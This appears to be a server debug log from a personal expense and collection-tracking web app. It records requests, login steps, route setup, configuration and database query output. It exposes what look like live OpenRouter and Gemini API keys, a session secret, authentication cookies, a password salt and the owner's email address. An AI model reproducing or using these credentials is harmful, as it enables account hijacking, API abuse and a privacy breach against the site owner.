    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '136.119.36.108',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T15:14:26.495Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '136.119.36.108',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '136.119.36.108',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-21T16:43:52.741Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-04-21T16:43:52.907Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-04-21T16:43:52.995Z server-connect:setup:upload Upload middleware configured.
2026-04-21T16:43:52.995Z server-connect:secure CSRF Protection initialized
2026-04-21T16:43:52.997Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-04-21T16:43:52.999Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-04-21T16:43:52.999Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-04-21T16:43:53.000Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-04-21T16:43:53.000Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-04-21T16:43:53.001Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-04-21T16:43:53.002Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-04-21T16:43:53.003Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-04-21T16:43:53.003Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-04-21T16:43:53.004Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-04-21T16:43:53.020Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-04-21T16:43:53.020Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-04-21T16:43:53.021Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-04-21T16:43:53.021Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-04-21T16:43:53.021Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-04-21T16:43:53.022Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-04-21T16:43:53.022Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-04-21T16:43:53.022Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-04-21T16:43:53.023Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-04-21T16:43:53.023Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-04-21T16:43:53.023Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-04-21T16:43:53.024Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-04-21T16:43:53.024Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-04-21T16:43:53.024Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-04-21T16:43:53.024Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-04-21T16:43:53.025Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-04-21T16:43:53.025Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-04-21T16:43:53.025Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-04-21T16:43:53.025Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-04-21T16:43:53.025Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-04-21T16:43:53.026Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-04-21T16:43:53.026Z server-connect:setup:routes Api route /api/test(.json)? created
2026-04-21T16:43:53.026Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-04-21T16:43:53.026Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-04-21T16:43:53.026Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-04-21T16:43:53.027Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-04-21T16:43:53.027Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-04-21T16:43:53.027Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-04-21T16:43:53.116Z server-connect:router Serving templateView /
2026-04-21T16:43:53.117Z server-connect:app Executing action step identify
2026-04-21T16:43:53.118Z server-connect:app options: { provider: 'security' }
2026-04-21T16:43:53.119Z server-connect:auth No login cookie found
2026-04-21T16:43:53.119Z server-connect:output identity: false
2026-04-21T16:43:53.119Z server-connect:app Executing action step restrict
2026-04-21T16:43:53.119Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:43:53.124Z server-connect:output restrict: undefined
2026-04-21T16:43:53.321Z server-connect:router Serving templateView /login
2026-04-21T16:43:53.322Z server-connect:app Executing action step identify
2026-04-21T16:43:53.322Z server-connect:app options: { provider: 'security' }
2026-04-21T16:43:53.322Z server-connect:auth No login cookie found
2026-04-21T16:43:53.322Z server-connect:output identity: false
2026-04-21T16:43:53.322Z server-connect:router Render template layouts/authentication
2026-04-21T16:43:53.323Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:53.320Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-04-21T16:43:57.154Z server-connect:router Serving serverConnect /api/access-control/login
2026-04-21T16:43:57.155Z server-connect:app Executing action step identify
2026-04-21T16:43:57.155Z server-connect:app options: { provider: 'security' }
2026-04-21T16:43:57.155Z server-connect:auth No login cookie found
2026-04-21T16:43:57.155Z server-connect:output identity: false
2026-04-21T16:43:57.155Z server-connect:app Executing action step login
2026-04-21T16:43:57.155Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-04-21T16:43:57.160Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-04-21T16:43:57.215Z server-connect:output identity: 1
2026-04-21T16:43:57.215Z server-connect:app Executing action step restrict
2026-04-21T16:43:57.215Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:43:57.216Z server-connect:output restrict: undefined
2026-04-21T16:43:57.416Z server-connect:router Serving templateView /
2026-04-21T16:43:57.417Z server-connect:app Executing action step identify
2026-04-21T16:43:57.417Z server-connect:app options: { provider: 'security' }
2026-04-21T16:43:57.417Z server-connect:output identity: 1
2026-04-21T16:43:57.417Z server-connect:app Executing action step restrict
2026-04-21T16:43:57.417Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:43:57.418Z server-connect:output restrict: undefined
2026-04-21T16:43:57.418Z server-connect:app Executing action step restrict
2026-04-21T16:43:57.418Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-21T16:43:57.419Z server-connect:output restrict: undefined
2026-04-21T16:43:57.419Z server-connect:router Render template layouts/main
2026-04-21T16:43:57.420Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'x-forwarded-for': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-22T16:43:57.216Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ARyOwJNmuZJMKifcbIX3Hqw%3D%3D.ZwweQOSFMfI7zR37U1qJ6CQKCGAT0E06qUCSa68z1GY6ABLLCnhR8jdUMoj45LWHekqGfu1VLAHTRf%2Bl4qHMR393q%2B9qASlAET3fh5OArHpl5J5Y6vN9MZoSSgHF1e6t8owft8Hsao%2FcrBU4gE6mP1Ious15x4Jxv9UPpXEG%2Fo8%3D.FB%2FxHXfjIlFhwylcWk%2BEPp%2BtOoEkZJHUBVvALnFl9M8; your_r_git.sid=s%3Abxf0DTC9k4W44HikSonUDOqdrUwJXMGI.hyo6q87yu%2BY1AoCAawZ1oGAiHeouo%2FA0SroMRopBm%2BI',
    'HTTP_X_FORWARDED-FOR': '2405:201:5c04:60aa:6060:e3ae:30b8:6471',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-04-21T16:43:58.680Z server-connect:router Serving serverConnect /api/masters/get-items
2026-04-21T16:43:58.681Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-04-21T16:43:58.681Z server-connect:app Executing action step identify
2026-04-21T16:43:58.681Z server-connect:app options: { provider: 'security' }
2026-04-21T16:43:58.681Z server-connect:output identity: 1
2026-04-21T16:43:58.681Z server-connect:app Executing action step restrict
2026-04-21T16:43:58.681Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:43:58.682Z server-connect:app Executing action step identify
2026-04-21T16:43:58.682Z server-connect:app options: { provider: 'security' }
2026-04-21T16:43:58.682Z server-connect:output identity: 1
2026-04-21T16:43:58.682Z server-connect:app Executing action step restrict
2026-04-21T16:43:58.682Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-21T16:43:58.683Z server-connect:output restrict: undefined
2026-04-21T16:43:58.685Z server-connect:app Executing action step single
2026-04-21T16:43:58.685Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-04-21T16:43:58.687Z server-connect:output restrict: undefined
2026-04-21T16:43:58.687Z server-connect:app Executing action step select
2026-04-21T16:43:58.687Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-04-21T16:43:58.689Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-04-21T16:43:58.696Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
